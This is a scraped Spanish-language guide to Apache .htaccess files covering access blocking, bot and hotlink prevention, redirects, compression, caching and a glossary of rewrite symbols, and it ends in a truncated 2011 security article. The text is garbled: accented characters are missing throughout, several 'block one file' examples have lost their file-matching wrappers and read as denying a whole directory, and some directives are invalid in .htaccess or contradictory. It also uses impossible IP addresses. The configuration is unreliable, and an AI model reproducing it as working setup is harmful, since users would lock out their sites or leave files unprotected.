Guía de HTACCESS.docx

Embed Size (px)

Citation preview

  • 7/21/2019 Gua de HTACCESS.docx

    1/31

    Gua de HTACCESS

    ndice1. Introduccin al .htaccess

    2. Bloqueando y permitiendo acceso3. Re-escritura y Redireccin4. Compresin y cach5. Otras funcionalidades del .htaccess6. Recomendaciones sobre el fichero .htaccess7. Simbologa del fichero .htaccess

    1.- IntroduccinHay muchsimos artculos en la red sobre el fichero .htaccess, as que es una buena forma deagrupar y reunir lo que realmente es interesante sobre este tema, mediante ejemplos claros quesirvan como ejemplo.Primero, tenemos que decir que el fichero .htaccess es una verdadera 'navaja suiza' para el controldel acceso a tu sitio web. Con ella se puede redireccionar a una persona, denegar el acceso,comprimir los ficheros, establecer una cach para los archivos, etc..htaccess significa acceso de hipertexto -hipertext access- y es un archivo de configuracin deApache. Apache es el software encargado de servir pginas web para plataformas Unix, MicrosoftWindows, Mac, etc.

    Advertencia:un error en el .htaccess puede hacer que no se vea la web hasta que se arregledicho error.

    Es evidente, pero importante, saber que en todos los ejemplos habr que sustituir los nombresgenricos y las IP por las correctas en tu servidor. En muchos casos los dominios son del tipodominio.com, ejemplo1.com, ejemplo2.com y similares, y las IP suelen ser 100.100.100.100,100.101.102.103, y parecidas.

    2.- Bloqueando y Permitiendo Acceso

    Denegar el acceso a un directorio -carpeta- del servidorCrear un fichero .htaccess dentro de la carpeta con las instrucciones:

    #denegar todo accesodeny from all

  • 7/21/2019 Gua de HTACCESS.docx

    2/31

    Permitir el acceso slo a una IP

    #denegar todo acceso excepto una IPdeny from allallow from 100.100.100.100

    Permitir el acceso slo a un rango especfico de IPs(forzado mediante la mscara de red)

    #denegar todo acceso excepto a un rango de IPdeny from allallow from 100.100.100.100/24

    Bloquear el acceso a un archivo especfico

    #bloquear un fichero concretoorder allow,denydeny from all

    Redireccionar visitantes a una direccin alternativa, menos

    a una IP especfica#Redireccionar a todos a otrositio.com excepto una IP concretaErrorDocument 403 http://www.otrositio.comorder deny,allowdeny from allallow from 100.101.102.103

    Denegar un rango completo de IP

    Esto quiere decir que elimina 256 direcciones en el primer caso, 65536 en el segundo caso, y msde 16 millones de direcciones IP en el tercer caso

    # Primer caso: deniega el acceso a 256 IPs, desde la 100.100.100.0 hasta la 100.100.100.255order allow,denydeny from 100.100.100.

  • 7/21/2019 Gua de HTACCESS.docx

    3/31

    # Segundo caso: deniega 65536 IPorder allow,denydeny from 100.100.

    # Tercer caso: deniega todas las IP que empiezan por 100, que son ms de 16 millonesorder allow,denydeny from 100.

    Permitir un rango concreto de IP a la web

    # permitir acceso a rango 100.100.100.0 hasta 100.100.100.255order deny,allowallow from 100.100.100.

    Denegar acceso de un dominio concreto

    # bloquear acceso a un dominioorder allow,denyallow from alldeny from .*dominio\.com.*

    Denegar acceso a visitantes que vengan de un dominio

    concreto# bloquear acceso visitas desde ejemplo1.com y ejemplo2.comRewriteCond %{HTTP_REFERER} ejemplo1\.com [NC,OR]RewriteCond %{HTTP_REFERER} ejemplo2\.com [NC,OR]RewriteRule .* - [F]

    Denegar acceso a una hora especfica

    # bloquear acceso una horaRewriteCond %{TIME_HOUR} ^12$RewriteRule ^.*$ - [F,L]

    Denegar acceso a un directorio a varias horas concretas

  • 7/21/2019 Gua de HTACCESS.docx

    4/31

    # bloquear acceso en varias horasRewriteCond %{TIME_HOUR} ^(12|13|14|15)$RewriteRule ^.*$ - [F,L]

    Denegar acceso a muchos proxies

    # bloqueo de ProxiesRewriteCond %{HTTP:VIA} !^$ [OR]RewriteCond %{HTTP:FORWARDED} !^$ [OR]RewriteCond %{HTTP:USERAGENT_VIA} !^$ [OR]RewriteCond %{HTTP:X_FORWARDED_FOR} !^$ [OR]RewriteCond %{HTTP:PROXY_CONNECTION} !^$ [OR]RewriteCond %{HTTP:XPROXY_CONNECTION} !^$ [OR]RewriteCond %{HTTP:HTTP_PC_REMOTE_ADDR} !^$ [OR]RewriteCond %{HTTP:HTTP_CLIENT_IP} !^$

    RewriteRule ^(.*)$ - [F]

    Prevenir accesos al archivo .htaccess

    # prevenir acceso .htaccessorder allow,denydeny from all

    Prevenir el acceso a un archivo especfico

    #prevenir acceso a un fichero concretoorder allow,denydeny from all

    Prevenir el acceso a varios tipos de archivos# prevenir acceso a tipos de ficheros concretosorder allow,denydeny from all

  • 7/21/2019 Gua de HTACCESS.docx

    5/31

    Evitar que se muestren determinados tipos de ficheros

    # evitar muestra de fichero MP4, WMV y AVIIndexIgnore *.wmv *.mp4 *.avi

    Evitar el listado de directorios

    # evitar listado de directoriosIndexIgnore *

    Evitar el hotlinking en el dominio

    El hotlinkinges cuando descargan ficheros de tu servidor desde otra web para mostrarlos en sta,'robando' ancho de banday servicios del tuyo.

    # Evita el hotlinking a ficheros GIF y JPG del servidorRewriteCond %{HTTP_REFERER} !^$RewriteCond %{HTTP_REFERER} !^http://(www\.)?midominio\.com/.*$ [NC]RewriteRule .*\.(gif|jpg)$ https://reader008.{domain}/reader008/html5/0413/5ad062ec4d01b/5ad062f1492f4.jpg

    Nota: Es ms eficaz, si el archivo que mostramos a aquellos que realizan el hotlinking lo colgamosen un servidor gratuito de imgenes tipo ImageShack.us (o similares) y lo referenciamos all.

    Bloqueo de ficheros determinados el cualquier subdominio,para evitar hotlinking especficoPara evitar el hotlinking a ficheros MP3 y ficheros de vdeo AVI, WMV y MPG:

    # Evita el hotlinking a ficheros MP3, AVI, WMV y MPG de cualquier subdominio y dominio delservidorRewriteCond %{HTTP_REFERER} !^$RewriteCond %{HTTP_REFERER} !^http://([-a-z0-9]+\.)?midominio\.com [NC]RewriteRule .*\.(mp3|avi|wmv|mpg|mpeg)$ http://www.midominio.com/images/nohotlink.gif [R,NC,L]

    Nota: si se envan ficheros por RSS -sindicacin del sitio- debe tenerse en cuenta, ya que lasinstrucciones anteriores bloquean todo el contenido de vdeo y los RSS pueden verse mal.

    Nota: Es ms eficaz, si el archivo que mostramos a aquellos que realizan el hotlinking lo colgamosen un servidor gratuito de imgenes tipo ImageShack.us o similar, y lo referenciamos all.

  • 7/21/2019 Gua de HTACCESS.docx

    6/31

    Bloqueo de robot -bot- especfico, a travs deSetEnvIfNoCase

    # bloqueo del bot BotMaloSetEnvIfNoCase User-Agent "BotMalo/" spambot

    deny from env=spambot

    Bloque de robot -bot- especfico, a travs de Rewrite

    # bloqueo de 3 bots conocidos (hay muchsimos ms)RewriteCond %{HTTP_USER_AGENT} ^WWWOFFLE [OR]RewriteCond %{HTTP_USER_AGENT} ^Xaldon\ WebSpider [OR]RewriteCond %{HTTP_USER_AGENT} ^ZeusRewriteRule .* - [F]

    Bloqueo de robot -bot- que accede siempre al mismofichero

    # bloqueo del bot al acceder a un fichero PHP concretoSetEnvIfNoCase Request_URI "/firefoxz.php$" spambotdeny from env=spambot

    Bloqueo de robot -bot- que siempre es referenciado desdeun mismo sitio, a travs de SetEnvIfNoCase

    # bloqueo cuando se viene referenciado de un sitio web concretoSetEnvIfNoCase Referer "^http://www.dominiospammers.com/" spambotdeny from env=spambot

    Nota: Las 3 anteriores sentencias pueden combinarse escribiendo las 3 lneas SetEnvIfNoCase, yluego solo un deny, de la siguiente forma:

    SetEnvIfNoCase User-Agent "BotMalo/" spambot

    SetEnvIfNoCase Request_URI "/firefoxz.php$" spambotSetEnvIfNoCase Referer "^http://www.spammers.com/" spambotdeny from env=spambot

  • 7/21/2019 Gua de HTACCESS.docx

    7/31

    Bloqueo de robot -bot- que siempre es referenciado desdeun mismo sitio, a travs de Rewrite

    # bloqueo cuando se viene referenciado de un sitio web concreto ejemplo1.comRewriteCond %{HTTP_REFERER} ^ejemplo1\.com$ [NC]

    RewriteRule .* - [F]

    Bloqueo de robot -bot- que siempre es referenciado desdedos sitios, a travs de Rewrite

    # bloqueo cuando se viene referenciado desde ejemplo1.com o ejemplo2.comRewriteCond %{HTTP_REFERER} ^ejemplo1\.com$ [NC,OR]RewriteCond %{HTTP_REFERER} ^ejemplo2\.com$ [NC]RewriteRule .* - [F]

    Evitar acceso mediante el navegador a una carpeta sin elarchivo "index"

    # evitar acceso a carpeta sin indexOptions All -Indexes

    Nota: lo contrario, es decir, permitir el acceso a carpetas sin index es:

    # evitar acceso a carpeta sin indexOptions All +Indexes

    3.- Re-escritura y redireccin

    Quitar siempre las www de la URL

    Es importante no repetir URLs-mostrando el mismo contenido con y sin www-, ya que penaliza elposicionamiento.

    # quitar las wwwRewriteCond %{http_host} www\.netandsoftware\.com [NC]RewriteRule (.*)$ http://netandsoftware.com/$1 [R=301,L]

  • 7/21/2019 Gua de HTACCESS.docx

    8/31

    Mostrar siempre las www de la URL

    # mostrar siempre las wwwRewriteCond %{HTTP_HOST} .RewriteCond %{HTTP_HOST} !^www\.netandsoftware\.com$

    RewriteRule (.*) http://www.netandsoftware.com/$1 [R=301,L]

    Cambiar la pgina de carga por defecto

    #orden de los ficheros de carga por defectoDirectoryIndex inicio.html index.htm index.html index.php

    Nota: El orden es muy importante porque da la preferencia de los ficheros de carga

    Camuflar el tipo de ficherosEsto se hace para que sea ms dificil detectar el tipo de ficheros que se usa

    # camuflar archivos PHP como NASAddType application/x-httpd-php .nas

    Redirigir el contenido en funcin del navegador usado

    RewriteCond %{HTTP_USER_AGENT} ^Opera/*RewriteRule ^index\.html$ index.opera.html [L]RewriteCond %{HTTP_USER_AGENT} ^Mozilla/*RewriteRule ^index\.html$ index.mozilla.html [L]RewriteRule ^index\.html$ index.html [L]

    Nota: Los asteriscos indican el uso de cualquier versin de ese navegador, por ejemplo:dicarse acontinuacin de la barra, como "Mozilla/3.0", "Mozilla/4.0", "Mozilla/5.0", etc.

    Redireccionar una antigua pgina a la nueva# redireccionar permanentementeRewriteRule (.*)$ http://www.minuevodominio.com/$1 [R=301,L]

  • 7/21/2019 Gua de HTACCESS.docx

    9/31

    Redireccionar una antigua pgina a la nueva, a travs deReDirect

    # redireccionar permanentementeredirect 301 / http://www.dominio.com/

    Redireccionar una web a otro sitio provisionalmente(redireccin 302)

    # redireccionar provisionalmenteRewriteRule (.*)$ http://www.minuevodominio.com/$1 [R=302,L]

    Redireccionar de un archivo a otro

    # redireccionar un antiguo fichero a otra nueva direccinRedirect /antiguo.html http://dominio.com/nuevo.html

    Redireccionar una IP concreta a una pgina concretaPuede servir para avisar a una persona con una IP concreta de que ha sido baneada.

    # redireccionar una IP a una pgina concreta de nuestra webRewriteCond %{REMOTE_ADDR} 100.101.102.103RewriteRule .* pagina-concreta.html [R]

    Redireccionar toda una web a un directorio del mismodominio

    # traslada todas las URL antiguas a la nueva carpeta en el mismo dominioRewriteCond %{HTTP_HOST} ^midominio\.com$ [OR]RewriteCond %{HTTP_HOST} ^www\.midominio\.com$RewriteCond %{REQUEST_URI} !^/webencarpeta/RewriteRule (.*) /webencarpeta/$1 [L]

    Quitar una palabra de una URLEn el siguiente ejemplo,de http://www.midominio.com/quitar/prueba.htmla http://www.midominio.com/prueba.html

  • 7/21/2019 Gua de HTACCESS.docx

    10/31

    # quitar una cadena de una URLRewriteRule quitar/(.+)$ http://www.midominio.com/$1 [R=301,L]

    URL amigable (uso de fin de interrogacin en RewriteRule)Cambia una URL como http://www.midominio.com/articulos-blog?catid=27a http://www.midominio.com/articulos-blog de forma permanente.

    # Uso de ?RewriteCond %{REQUEST_URI} ^/articulos-blog$ [NC]RewriteCond %{QUERY_STRING} ^catid=(.*)$ [NC]RewriteRule ^(.*)$ /articulos-blog? [R=301,L]

    URL amigable (uso del tanto por ciento en RewriteRule)Cambia una URL como http://www.dominio.com/noticias?id=127a http://www.dominio.com/noticias/127 de forma provisional.

    # Uso del %RewriteCond %{REQUEST_URI} ^/noticias$ [NC]RewriteCond %{QUERY_STRING} ^id=(.*)$ [NC]RewriteRule ^(.*)$ /noticias/%1? [R=302,L]

    Mejorando el posicionamiento SEO con RewriteRule

    Cambia una URL con la cadena "ps" por una URL con la cadena "posicionamiento-seo" quedetermina mejor el contenido de las URLs.

    # mejorando el posicionamiento SEO sustituyendo caracteres sin sentido por otros que determinanel contenidoRewriteRule ^(.*)/ps/(.*)$ $1/posicionamiento-seo/$2 [L,R=301]

    Transformacin de una URL con agrupamiento decaracteres maysculas y minsculasCambia la URL de este tipo http://www.midominio.com/pais/Espana.php a

    http://www.midominio.com/codigo/pais.php?nombre=Espana

    # detectar palabras en maysculas o minsculas o combinacion de ambasRewriteRule ^pais/([a-zA-Z_-]+).php$ codigo/pais.php?nombre=$1 [L]

    Paso de parmetros en la URL y doble parmetro

  • 7/21/2019 Gua de HTACCESS.docx

    11/31

    Cambia una URL como http://www.midominio.com/fecha/2013/12.html ahttp://www.midominio.com/fecha.php?mes=12&anio=2013 de forma permanente

    # Doble parmetroRewriteRule fecha/(.+)/(.+)\.html$ fecha.php?mes=$2&anio=$1 [R=301,L]

    4.- Compresin y cach

    Comprimir ficheros de texto, HTML, JavaScript, CSS y XML

    # comprimir focheros texto, html, javascript, css, xmlAddOutputFilterByType DEFLATE text/plainAddOutputFilterByType DEFLATE text/html

    AddOutputFilterByType DEFLATE text/xmlAddOutputFilterByType DEFLATE text/cssAddOutputFilterByType DEFLATE application/xmlAddOutputFilterByType DEFLATE application/xhtml+xmlAddOutputFilterByType DEFLATE application/rss+xmlAddOutputFilterByType DEFLATE application/javascriptAddOutputFilterByType DEFLATE application/x-javascript

    Tambin en una sla lnea:AddOutputFilterByType DEFLATEtext/plain text/html text/xml text/css application/xml application/xhtml+xml application/rss+xml application/javascript application/x-javascript

    Cachear ficheros de imgenes a una semana

    #Cache del navegador, imagenes cacheadas a una semana: 604800 segundosHeader set Cache-Control "max-age=604800, public"

    Cachear ficheros JPG a un mes

    #Cache del navegador, imgenes cacheadas a un mes: 2592000 segundosHeader set Cache-Control "max-age=2592000, public"

  • 7/21/2019 Gua de HTACCESS.docx

    12/31

    Cachear con ExpiresByType y el intervalo legible

    #cach que expira las imgenes JPG en 6 meses, los CSS en 2 meses, y los JavaScripts en 2semanasExpiresActive onExpiresByType image/jpg "access plus 6 months"ExpiresByType text/css "access plus 2 months"ExpiresByType text/javascript "access plus 2 weeks"

    Cachear ficheros a un ao con ExpiresDefault y el intervaloen segundos

    ExpiresActive On

    ExpiresDefault A0# cach expira en un ao (A9030400) para los ficheros FLV, ICO, AVI, MOV, PPT, DOC, MP3,WMV y WAVExpiresDefault A9030400

    5.- Otros funcionalidades en el .htaccess

    Asignar permisos CHMOD automticamente al fichero.htpasswd

    # permiso automtico del fichero que protege el directorio .htpasswdchmod .htpasswd files 640

    Asignar permisos CHMOD automticamente al fichero

    .htaccess# permiso automtico del fichero .htaccesschmod .htaccess files 644

    Asignar permisos CHMOD automticamente a ficheros PHP

  • 7/21/2019 Gua de HTACCESS.docx

    13/31

    # permisos automticos de archivos PHPchmod php files 600

    Limitar la subida de ficheros ms grandes que una cantidadProtege de ciertos ataques DOS, limitando el tamao de archivos que se suben al servidor.# limitar la subida a 10 MBLimitRequestBody 10000000

    Permitir al usuario descargar archivos multimediaGeneralmente slo se permiten abrir

    # permitir descarga de ficheros multimedia AVI, MPG, WMV y MP3

    AddType application/octet-stream .aviAddType application/octet-stream .mpgAddType application/octet-stream .wmvAddType application/octet-stream .mp3

    Personalizar errores 404

    ErrorDocument 404 /errores/404.html

    Nota: Para otros tipos de errores es similar, se coloca el nmero de error y la direccin dondequeremos redireccionar al visitante.

    Corregir pequeos errores de ortografa en las URL

    CheckSpelling On

    Especificar el e-mail por defecto del administrador del

    servidor# e-mail del administrador del servidorSetEnv [email protected]

    Especificar el lenguaje por defecto del servidor

    mailto:[email protected]:[email protected]:[email protected]:[email protected]
  • 7/21/2019 Gua de HTACCESS.docx

    14/31

    # lenguaje por defecto del servidorDefaultLanguage en-US

    Forzar el uso del protocolo seguro SSL# fuerza el uso de SSL en la webSSLOptions + StrictRequireSSLRequireSSL

    Redireccionar usuarios con protocolo seguro HTTPS a unacarpeta en particularEsto se puede necesitar cuando una web tiene una tienda online en una carpeta especfica

    RewriteCond %{SERVER_PORT} 80RewriteCond %{REQUEST_URI} carpetaRewriteRule (.*)$ https://www.midominio.com/carpeta/$1 [R,L]

    Evitar la visualizacin de errores al visitante

    # evitar que los errores se muestren al usuariophp_flag display_startup_errors offphp_flag display_errors offphp_flag html_errors off

    Registrar errores de PHP en un fichero log

    # registrar errores en logphp_flag log_errors onphp_value error_log /logs/php_error.log

    Limitar el nmero de visitas al mismo tiempo a 400

    # limitar el nmero de visitas a 400MaxClients 400

    Denegar la ejecucin de scripts CGI

  • 7/21/2019 Gua de HTACCESS.docx

    15/31

    # bloquear CGIsOptions -ExecCGI

    AddHandler cgi-script .php .pl .py .jsp .asp .sh .cgi

    Declarar tipos MIME

    # agregar tipos mimeAddType application/x-shockwave-flash .swfAddType video/x-flv .flvAddType image/x-icon .ico

    Definiendo el juego de caracteresPasando el juego de caracteres se evita el mostrar un error 500 por este motivo

    AddDefaultCharset utf-8

    Desactivar los Entities Tags

    FileETag none

    6.- Recomendaciones sobre el fichero .htaccess1. El tamao es importante: cuanto ms pequeo sea el fichero .htaccess menos tiempo

    tardar el servidor en procesarlo cada vez que se realiza una peticin a tu servidor. Estoimplica una prdida de rendimiento en la carga de las pginas de tu sitio web si estefichero se hace demasiado grande.

    2. La directiva [L] es realmente interesante y hace que el servidor no procese ms el archivouna vez que se cumple esa regla. Por lo que incorpora siempre que puedas esta directivaen los RewriteRule.

    3. La organizacin es fundamental: dado lo complicada que pueden ser ciertas lneas en elcdigo de .htaccess, es imprescindible comentar adecuadamente tu fichero para que lamodificacin sea rpida y sencilla. No escatimes en comentarios, y organiza

    adecuadamente las instrucciones de tu .htaccess.4. Protege adecuadamente este archivo de reescrituras ajenas, puede llegar a ser muy

    peligroso.5. La denegacin de permisos debe estar lo primero, antes de ejecutar RewriteCond y

    RewriteRule.

    7.- Simbologa del fichero .htaccess

  • 7/21/2019 Gua de HTACCESS.docx

    16/31

    De forma breve, los cdigos y smbolos en el archivo .htaccess son:

    # Puesto al inicio de una lnea, ignora esa lnea.

    [F] Forbidden: prohbe un acceso y fuerza un acceso denegado.403 Forbidden.

    [L] Last rule: indica que es la ltima regla que debeaplicarse.

    [N] Next: indica continuacin hasta que las directivas seanlogradas.

    [G] Gone: indica al servidor que ya no existe, es decir,entrega "Gone".

    [P] Proxy: instruye al servidor para manejar los pedidos pormod_proxy.

    [C] Chain: encadena la regla actual con la regla anterior.

    [R] Redirect: indica redireccin. Puede haber de varios tipos301 (permanente), 302 (provisional).

    [NC] No Case: no sensible a maysculas, es decir, indica queno debe distinguirse entre maysculas y minsculas.

    [PT] Pass Through: pasa el URL a Apache para seguirprocesando.

    [OR] Or: indica que la expresin debe interpretase como unaalternativa junto a la siguiente: lgico. Si se omite, sesobreentiende que es una ylgica, por defecto.

    [NE] No Escape: analiza las salidas de caracteres sinescapar.

    [NS] No Subrequest: para saltar directivas de sub-pedidosinternos.

    [QSA] Append Query String: agrega un query string al final dela expresin (URL).

    [S=x] Skip: salta las siguientes "x" reglas del fichero.htaccess.

    [E=variable:value] Environmental Variable: para aadir unvalor a una variable.

    [T=MIME-type] Mime Type: declara mime-type al recurso.

  • 7/21/2019 Gua de HTACCESS.docx

    17/31

    [] dentro de los parntesis se encierran carcteres quedefinen los resultados.

    []+ se utiliza para hacer combinaciones.

    [^] excluye los carcteres que pongamos dentro del

    parntesis. Ejemplo [^abc] excluye las letras a, b y c.

    [a-z] letras desde la a hasta la z (en minsculas).

    [A-Z] letras desde la A hasta la Z (en maysculas).

    [a-zA-Z] slo letras (maysculas y minsculas).

    [a-z]{1,10} palabras en minsculas entre 1 y 10 caracteres.

    [0-9] slo un nmero.

    [0-9]{4} nmeros de 4 cifras.

    (.*) cualquier expresin, incluida la vaca.

    a{n} especifica el nmero de caracteres.

    a{n,} especifica el nmero "o ms" de caracteres.

    a{n,m} especifica un rango entre "n" y "m". Ejemplo s{3,6}ser 3 "eses", 4 "eses", 5 "eses" o 6 "eses".

    () es un agrupamiento de caracteres.

    ^ marca el inicio de un argumento.

    $ marca el fin de un argumento.

    ? establece como opcional el caracter que le precede. Si sepone este smbolo al final del segundo argumento delRewriteRule, indicar que no se ponga nada ms en la URL.

    ! es la negacin. Ejemplo: "!string" resulta "no string".

    . indica cualquier caracter arbitrario.

    - instruccin not to.

    + indica uno o mscaracteres del caracter que le precede.Por ejemplo: (.+) indica cualquier cadena de uno o mscaracteres.| es el lgico, condicin de alternancia. Ejemplo (a|b) esel caracter ao el b.

  • 7/21/2019 Gua de HTACCESS.docx

    18/31

    \ escapa caracteres, es decir, toma el caracter que le sigueliteralmente. Por ejemplo: \. indica literalmente un punto,ya que sin la barra invertida indicara cualquier caracter.

    /* indica cero o ms "/".

    .* indica cualquier caracter, incluido que no existacaracter.

    ^$ indica una cadena vaca.

    ^.*$ indica "todo", toda la cadena.

    [^/.] define un caracter que no sea "/" ni ".".

    [^/.]+ define, ningn nmero de caracter que tenga "/" o ".".

    http:// es literalmente http://.

    ^dominio.* define una cadena que comience con "dominio" y lesiga cualquier nmero de caracteres.

    ^dominio\.com$ define exactamente dominio.com.

    -d prueba si la cadena es un directorio existente.

    -f prueba si la cadena es un archivo existente.

    -s prueba si el archivo en la cadena no tiene valor cero.

    Y espero que con estos ejemplos, tengan resueltas muchas de las opciones posibles paraconfigurar su propio .htaccess segn sus necesidades.

  • 7/21/2019 Gua de HTACCESS.docx

    19/31

    CONSEJOS DEL USO DEL ARCHIVO .HTACCESS

    El .htaccess es un simple archivo de texto (ASCII) en su carpeta www o en un subdirectoriodentro de la carpeta www. Usted puede crear o editar este archivo con cualquier editor de

    texto (por ejemplo Notepad, Wordpad, etc) y luego subirlo al directorio que requiera modificarla configuracion. Debe de verificar que el archivo que sube este en formato ASCII (y no enformato Binario), y verificar que los permisos al archivo esten a 644 (rw-r--r--). Esto permiteque el servidor tenga alcceso al archivo, pero asimismo por razones de seguridad previeneacceso no autorizado al archivo por medio del explorador de internet (riesgo de seguridad).

    Los comando dentro del archivo .htaccess afectarn al directorio donde este ubicado yademas en todos sus subdirectorios. Si usted coloca el archivo .htaccess en un directoriowww, esto afectar a todo el sitio web.

    Algunas configuraciones soportadas por el .htaccess (varia segun el servidor hosting de

    hospedaje) incluyen:

    PERSONALIZACION DE MENSAJES

    Si deseas superponer las paginas de error del servidor, puedes usar el .htaccess para definirsus propios mensajes. Un ejemplo de la sintaxis es:

    #######################ErrorDocument 500 /error.htmlErrorDocument 404 /404.html#######################

    Superponer configuracion SSI Por defecto, solo las pginas terminadas en extension .shtmlanalizara las inclusiones del lado del servidor (SSI) o en nuestros servidores. Usted puedesuperponer esta restriccion en su archivo .htaccess:

    Si usted requiere superponer la configuracin por defecto del servidor para que SSI trabajecon documentos .html, puedes crear un archivo llamado .htaccess subirlo (en modo ASCII) asu directorio www. Agregue las siguiente lineas a su archivo .htaccess:

    #######################AddType text/html .htmlAddHandler server-parsed .html

    #######################

    Si prefieres ambos tipos de documentos .html y .htm para analizar SSI, cree su archivo.htaccess con las siguiente lineas:

    #######################AddType text/html .htmlAddHandler server-parsed .html

  • 7/21/2019 Gua de HTACCESS.docx

    20/31

    AddHandler server-parsed .htm#######################

    CAMBIE SU PGINA DE INICIO POR DEFECTO

    En orden para ingresar a su sitio web especificando unicamente el nombre de dominio (por

    ejemplo, http://www.soltronica.com) en vez de tener que especificar la pgina exacta delarchivo (Por ejemplo, http://www.soltronica.com/blog.html), deber de tener una pagina inicialen su directorio www. Los nombre de archivo aceptados por defecto para paginas de inicio sonindex.htm, index.html, index.cgi, index.shtml, index.php, etc. Note que todos son nombradoscomo index.*.

    Inclusive existe un orden de precedencia para estos nombres. Asi que si usted cuenta porejemplo con 2 archivos uno llamado index.cgi y el otro llamado index.html en su directorio, elservidor mostrara index.cgi debido a que el nombre toma un mayor valor de precedencia queun index.html.

    Entonces usando el .htaccess, puedes definir adicionales nombres de archivo (index) y ocambia su orden de precendecia.Por ejemplo para definir su pagina de inicio como mipagina.html agregue las siguientes lineasen su archivo .htaccess:

    #######################DirectoryIndex mipagina.html#######################

    Esto convertira el archivo mipagina.html en su pagina de inicio, pero si es que el archivo no seencontrara en esa ubicacin luego de definirlo entonces el sistema devolvera el error: 404

    Missing Page error.

    Para cambiar el orden de precedencia, ingrese varios comandos DirectoryIndex con multiplesnombres de archivo en la misma lnea. El orden en la cual los archivo son listados (deizquierda a derecha) determina el orden de precedencia. Por ejemplo,

    #######################DirectoryIndex mipagina.html index.cgi index.php index.html#######################

    DESACTIVAR LA EXPLORACIN DE LOS DIRECTORIOS

    Cuando en un directorio raiz no existe el archivo index, o no se ha definido una pagina deinicio, por defecto el explorador de internet mostrar un listado de los archivos que contienedicha carpeta o raiz.Esto es un riesgo de seguridad pues conlleva a divulgar sus archivos de la carpeta. Si ustedrequiere mantener sus archivos ocultos, entonce debe de agregar el siguiente codigo a suarchivo .htaccess:

  • 7/21/2019 Gua de HTACCESS.docx

    21/31

    #######################Options All -Indexes#######################

    BLOQUEAR EL ACCESO DE USUARIOS A SU WEB

    Si usted requiere denegar acceso a un individuo en particular, y si usted conoce la ip odominio que el individuo usa para conectarse a internet, entonces puedes usar el .htaccesspara bloquearlo desde tu sitio web.

    #######################order deny,allowdeny from 123.456.789.000deny from 456.78.90.deny from .aol.comallow from all

    #######################

    En el ejemplo de arriba, el usuario desde la IP exacta 123.456.789.000 sera bloqueado paraingresar; todos los usuarios dentro de un rango de IP desde 456.78.90.000 to 456.78.90.999seran bloqueado; y todos los usuarios conectados desde aol.com seran bloqueados. cuandoaquellos usuario intenten ingresar a sus sitio web se les mostrara el siguiente mensaje: 403Forbidden error ("Usted no tiene permiso para acceder a este sitio").

    REDIRIGIR VISITANTES A NUEVA PGINA O DIRECTORIO

    Por ejemplo si usted esta rediseando su web completa, renombrado paginas y directorios.

    Los visitantes de las antiguas pginas recibiran el mensaje: 404 File Not Found error, y esto esperjudicial pues puede dar mala imagen a su web y por consiguiente perder trfico ganado.

    Asi que para evitar este problema puedes redirigir las llamadas de la antigua pgina a lanueva pgina. Por ejemplo, si su antigua pagina se llamaba pagina_vieja.html y esa pagina hasido reemplaza por pagina_nueva.html, entonces agrega la siguiente linea al archivo.htaccess:

    #######################redirect 301 /pagina_vieja.html http://www.sudominio.com/pagina_nueva.html#######################

    Por supuesto que debes de remplazar sudominio.com por su actual nombre de dominio. Ahoracuando los visitantes tipeen http://www.sudominio.com/pagina_vieja.html, ellos seranautomticamente redigidos a http://www.sudominio.com/pagina_nueva.html.

    Si usted a renombrado un directorio, puede usar una redireccin para afectar a todas laspginas dentro del directorio:

  • 7/21/2019 Gua de HTACCESS.docx

    22/31

    #######################redirect 301 /directorio_viejo http://www.sudominio.com/directorio_nuevo/#######################

    Note que la antigua pgina o directorio es especificado usando la direccin de sistema relativaa su direcctorio www, mientras la nueva pagina o directorio es especificado por la URLabsoluta.

    PREVENIR ROBO DE ANCHO DE BANDA BLOQUEANDO EL ACCESODE LAS IMGENES.

    Si otro usuario esta robando sus imgenes y por consiguiente su ancho de banda, puedesprevenir esto agregando la siguiente linea en tu archivo .htaccess:

    #######################RewriteEngine onRewriteCond %{HTTP_REFERER} !^$

    RewriteCond %{HTTP_REFERER} !^http://(www\.)?sudominio.com/.*$ [NC]RewriteRule \.(gif|jpg)$ - [F]#######################

    Reemplaza sudominio.com con su actual nombre de dominio. Utilizando dicho cdigo susimagenes solo se mostrarn cuando el visitante este navegando en la webhttp://sudominio.com. Si la imagen es llamado desde otras direcciones web, entonces no semostrarn (imgenes con link roto).

    Si te sientes particularmente fastidiado por que roban imagenes de tu web, entonces puedesproporcionar una imagen alternativa para las pginas que hacen hotlink de tus imagenes --

    Por ejemplo, una imagen que diga "Robar es malo ... visita http://sudominio.com para ver laimagen real que pertenece aqui."Para lograr lo indicado use el siguiente cdigo en su archivo .htaccess:

    #######################RewriteEngine onRewriteCond %{HTTP_REFERER} !^$RewriteCond %{HTTP_REFERER} !^http://(www\.)?sudominio.com/.*$ [NC]RewriteRule \.(gif|jpg)$ http://www.sudominio.com/no_robar.gif [R,L]#######################

    Esta vez, reemplace sudominio.com con su actual nombre de dominio, y reemplaceno_robar.gif con el nombre de archivo de la imagen que deseas mostrar en las otras paginasque hacen hotlink a tu imagen.

    PREVENIR LA VISUALIZACION DEL ARCHIVO .HTACCESS

    Para prevenir que los visitantes puedan visualizar el contenido de tu archivo .htaccess,coloque el siguiente cdigo en el archivo .htaccess

  • 7/21/2019 Gua de HTACCESS.docx

    23/31

    #######################order allow,denydeny from all#######################

    Del mismo modo si necesitas bloquear otro archivo en particular solamente reemplazas elvalor por el nombre de archivo que requieras bloquear

  • 7/21/2019 Gua de HTACCESS.docx

    24/31

    Un poco de seguridad con htaccessJos Pereira

    Jueves, 26 de Mayo de 2011 21:45

    Quizs sean pocos los lectores a los que no le suene la potencialidad de htaccess, sin

    embargo a menudo solemos infrautilizar todo el potencial que este pequeo archivo de

    configuracin puede encerrar.

    Htaccess es un contenedor de directivas y reglas que guardado a nivel de directorio de

    nuestro proyectos web complementan el archivo de configuracin de Apache.

    Uno de los planteamientos mas divertidos de .htaccess es su uso como herramienta de

    seguridad, o ms bien de ofuscacin de nuestros archivos y directorios, de manera que

    ayude a mantener a mentes curiosas lejos de los archivos y directorios sensibles de

    nuestros proyectos.

    A menudo cuando se trabaja en la dura realidad de la empresa, donde la productividad

    pesa ms que la elegancia, nuestros proyectos web son lanzados no todo lo maduros que

    desearamos, por lo que un buen .htaccess puede ahorarnos algun bochorno delante de

    nuestros clientes.

    A continuacin voy a describir una serie, de tcnicas, que pueden ayudarnos a relajar un

    poco la seguridad de nuestras aplicaciones o guardarnos un poco las espaldas, cuanto

    usamos cdigo de otras personas.

    No voy a entrar demasiado en detalle de las explicaciones de directivas y expresiones ya

